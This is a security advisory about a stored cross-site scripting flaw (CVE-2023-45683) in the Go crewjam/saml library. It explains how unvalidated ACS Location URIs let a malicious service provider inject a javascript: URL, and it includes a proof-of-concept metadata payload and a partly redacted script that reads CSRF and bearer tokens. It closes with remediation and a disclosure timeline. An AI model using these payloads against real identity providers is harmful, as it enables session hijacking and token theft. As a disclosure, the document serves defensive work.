DOYENSEC

Security Advisory

crewjam/saml

IdP XSS Via Missing Binding Syntax Validation In ACS Location

Created by Francesco Lacerenza

10/17/2023

Overview

This document summarizes the results of a vulnerability discovered in the crewjam/saml package while performing a security audit for one of Doyensec's customers. While security testing was not meant to be comprehensive in terms of attack and code coverage, we have identified a stored cross-site scripting pattern within the service providers (SP) registration, allowing a malicious SP to execute Javascript within the identity provider's context in SAML flows.

About Us

Doyensec is an independent security research and development company focused on vulnerability discovery and remediation. We work at the intersection of software development and offensive engineering to help companies craft secure code.

Research is one of our founding principles and we invest heavily in it. By discovering new vulnerabilities and attack techniques, we constantly improve our capabilities and contribute to secure the applications we all use.

IdP XSS Via Missing Binding Syntax Validation In ACS Location

Vendor	Crewjam
Severity	High
Vulnerability Class	Cross Site Scripting (XSS)
Component	samlsp/fetch_metadata.go:25 crewjam/saml/identity_provider.go:927
Status	Closed
CVE	CVE-2023-45683
Credits	Francesco Lacerenza

Summary

The `crewjam/saml` library offers a Go implementation of the SAML identity federation standard. In SAML, an Identity Provider (IdP) is a service authenticating users. A Service Provider (SP) is a service that delegates authentication to an IdP.

`crewjam/saml` implements the most commonly used subset of the features required to provide a single sign on flow. It supports at least the subset of SAML known as interoperable SAML for both service providers and identity providers.

The Assertion Consumer Service (ACS) is the endpoint where a third-party service provider receives and processes SAML assertions from an identity provider (IdP) as part of the SAML-based single sign-on (SSO) process.

While the basic functionalities are well implemented, the library does not validate the ACS Location URI according to the SAML binding being parsed.

If abused, this flaw allows attackers to register malicious Service Providers at the IdP and inject Javascript in the ACS endpoint definition, achieving Cross-Site-Scripting (XSS) in the IdP context during the redirection at the end of a SAML SSO Flow.

Consequently, an attacker may perform any authenticated action as the victim once the victim's browser loaded the SAML IdP initiated SSO link for the malicious service provider.

Note: The severity is considered "High" because the SP registration is commonly an unrestricted operation in IdPs, hence not requiring particular permissions or publicly accessible to ease the IdP interoperability.

Technical Description

Within the SAML standard, the complex type EndpointType describes a SAML protocol binding endpoint at which a SAML entity can be sent protocol messages. In particular, the location of an endpoint type is defined as follows in the Metadata for the OASIS Security Assertion Markup Language (SAML) V2.0 - 2.2.2 Complex Type EndpointType

```
Location [Required] A required URI attribute that specifies the location of the endpoint. The allowable syntax of this URI depends on the protocol binding.
```

Additionally, the chapter 3.5.4 Message Encoding of OASIS SAML Bindings 2.0 specification further defines the action attribute of the SAML response form as:

```
The action attribute of the form MUST be the recipient's HTTP endpoint for the
protocol or profile using this binding to which the SAML message is to be delivered.
The method attribute MUST be "POST"
```

It was discovered that the Go library crewjam/saml does not validate the ACS Location URI according to the SAML binding during the following operations:

- **Entity Descriptors Parsing** - Service Providers are declared with Entity Descriptors parseable with the function ParseMetadata defined at samlsp/fetch_metadata.go:25
- **Response Form Construction** - SAML Responses are constructed as auto-submitted forms according to the SP metadata at crewjam/saml/identity_provider.go:927

Missing Validation In Entity Descriptors Parsing

The library does not verify that the parsed location follows the syntax required for the binding being declared.

In particular, the ParseMetadata function is defined at samlsp/fetch_metadata.go:25

```
func ParseMetadata(data []byte) (*saml.EntityDescriptor, error) {
	entity := &saml.EntityDescriptor{}

	if err := xrv.Validate(bytes.NewBuffer(data)); err != nil {
		return nil, err
	}

	err := xml.Unmarshal(data, entity)

	// this comparison is ugly, but it is how the error is generated in encoding/
xml
	if err != nil && err.Error() == "expected element type <EntityDescriptor> but
have <EntitiesDescriptor>" {
		entities := &saml.EntitiesDescriptor{}
		if err := xml.Unmarshal(data, entities); err != nil {
			return nil, err
		}
		for i, e := range entities.EntityDescriptors {
			if len(e.IDPSSODescriptors) > 0 {
				return &entities.EntityDescriptors[i], nil
			}
		}
		return nil, errors.New("no entity found with IDPSSODescriptor")
	}
	if err != nil {
		return nil, err
	}
	return entity, nil
}
```

The function executes the function `xml.Unmarshal` on the user-supplied data without performing further checks on the contents.

Missing Validation In Response Form Construction

Whenever a binding is handled, a basic template logic is used to directly add the parsed information to the resulting HTML form.

See at `crewjam/saml/identity_provider.go:896`

```
// PostBinding creates the HTTP POST form information for this
// `IdpAuthnRequest`. If `Response` is not already set, it calls MakeResponse
// to produce it.
func (req *IdpAuthnRequest) PostBinding() (IdpAuthnRequestForm, error) {
	var form IdpAuthnRequestForm

	if req.ResponseEl == nil {
		if err := req.MakeResponse(); err != nil {
			return form, err
		}
	}

	doc := etree.NewDocument()
	doc.SetRoot(req.ResponseEl)
	responseBuf, err := doc.WriteToBytes()
	if err != nil {
		return form, err
	}

	if req.ACSEndpoint.Binding != HTTPPostBinding {
		return form, fmt.Errorf("%s: unsupported binding %s",
			req.ServiceProviderMetadata.EntityID,
			req.ACSEndpoint.Binding)
	}

	form.URL = req.ACSEndpoint.Location
	form.SAMLResponse = base64.StdEncoding.EncodeToString(responseBuf)
	form.RelayState = req.RelayState

	return form, nil
}
```

Note: The `form.URL` value is taken from the `ACSEndpoint.Location`.

The code continues with the templating at line 927. The function WriteResponse is responsible for the final SAML response form creation.

```
// WriteResponse writes the `Response` to the http.ResponseWriter. If
// `Response` is not already set, it calls MakeResponse to produce it.
func (req *IdpAuthnRequest) WriteResponse(w http.ResponseWriter) error {
	form, err := req.PostBinding()
	if err != nil {
		return err
	}

	tmpl := template.Must(template.New("saml-post-form").Parse(`<html>` +
		`<form method="post" action="{{.URL}}" id="SAMLResponseForm">` +
		`<input type="hidden" name="SAMLResponse" value="{{.SAMLResponse}}" />` +
		`<input type="hidden" name="RelayState" value="{{.RelayState}}" />` +
		`<input id="SAMLSubmitButton" type="submit" value="Continue" />` +
		`</form>` +
`<script>document.getElementById('SAMLSubmitButton').style.visibility='hidden';</
script>` +
		`<script>document.getElementById('SAMLResponseForm').submit();</script>`
+
		`</html>`))

	buf := bytes.NewBuffer(nil)
	if err := tmpl.Execute(buf, form); err != nil {
		return err
	}
	if _, err := io.Copy(w, buf); err != nil {
		return err
	}
	return nil
}
```

The `action` attribute is blindly trusted and added to the form even if it did not respect the binding specification.

In particular, the exposed pattern allows the creation of malicious SPs with a javascript based ACS. Malicious ACS example: `javascript:alert("Doyensec")`

As a result, any use of the library in which the attacker is able to register service providers could result in a Stored Cross-Site-Scripting (XSS) against the IdP.

Proof Of Concept

The following code can be used as a Proof Of Concept to demonstrate the missing syntax check of the `AssertionConsumerService` location attribute with specific bindings such as `HTTP-POST` and `HTTP-Artifact`. The parsing mechanism does not validate the URL, allowing the javascript scheme.

Test File *PoC.go*

```
package main

import (
	"fmt"

	"github.com/crewjam/saml/samlsp"
)

func main() {
	entityDescr := `
```

```
       <EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2023-07-06T12:21:21.317Z" entityID="http://localhost:8000/saml/metadata">
    <SPSSODescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata"
validUntil="2023-07-06T12:21:21.317018Z"
protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol"
AuthnRequestsSigned="false" WantAssertionsSigned="true">
    <SingleLogoutService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location="http://localhost:8000/saml/slo" ResponseLocation="http://localhost:8000/
saml/slo"></SingleLogoutService>
    <NameIDFormat></NameIDFormat>
    <AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
Location='javascript:alert("Hello Doyensec!")' index="1"></AssertionConsumerService>
    <AssertionConsumerService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-
Artifact" Location='javascript:alert("Hello Doyensec!")' index="2"></
AssertionConsumerService>
    </SPSSODescriptor>
    </EntityDescriptor>
       `
       ed, err := samlsp.ParseMetadata([]byte(entityDescr))
       if err != nil {
              fmt.Print(err)
       }
       fmt.Print(ed.SPSSODescriptors[0].AssertionConsumerServices[0].Location)
}
```

Compile and execute:

```
❯ ./testcrewjamlib
javascript:alert("Hello Doyensec!”)%
```

To demonstrate the missing validation during SAML response form construction, use the testing IdP implemented with `crewjam/saml` and serve the malicious SP defined during the test above.

Observe that the SAML flow with the SP will end with an alert box spawned within the IdP context, hence allowing full control of the authenticated user’ session.

The SAML Response form below was generated by crewjam/saml from a SP with a long javascript function as ACS. The function allowed to execute actions in the IdP with the victim’s authenticated session.

```
<html>
     <form method="post" action="javascript:(function(){var xhttp=new
     XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.readyState==4){const
     parser=new DOMParser();const
     htmlDoc=parser.parseFromString(xhttp.responseText,'text/html');const
     csrfToken=htmlDoc.querySelector(`meta[name='test_csrf_token']`).getAttribute('con
     tent');const bearerToken=JSON.parse(localStorage.getItem(‘test_token’))
     [‘accessToken’];...[REDACTED_EXPLOIT]...;})();” id=“SAMLResponseForm">
     <input type="hidden" name="SAMLResponse" value=“PH...[REDACTED]...
     ...[REDACTED]...
```

Remediation

In order to correctly mitigate this flaw, we recommend applying changes in the core steps involved with the SP registration:

- Validate the Service Provider defined in the entity descriptor parsed by the `ParseMetadata` function at `samlsp/fetch_metadata.go:25`. Users should be able to trust the SP parsed by the function. Alternatively, adjust the documentation to warn users about the need of implementing further checks

- Align the response form construction to the SAML standard. The basic IdP implementation should not serve Service Providers without preventing injections inside the resulting responses. In order to protect the IdP against Cross-Site Scripting, validate the SP attributes before using them inside the SAML response form. See at `crewjam/saml/identity_provider.go:927`

Disclosure Timeline

08/11/2023	Issue reported to the client during an engagement
09/20/2023	Doyensec got authorization from the client to disclose the issue to the maintainers
10/14/2023	Issue fixed and merged in `master` branch
10/14/2023	Version 0.4.14 released
10/14/2023	CVE-2023-45683 assigned and official advisory published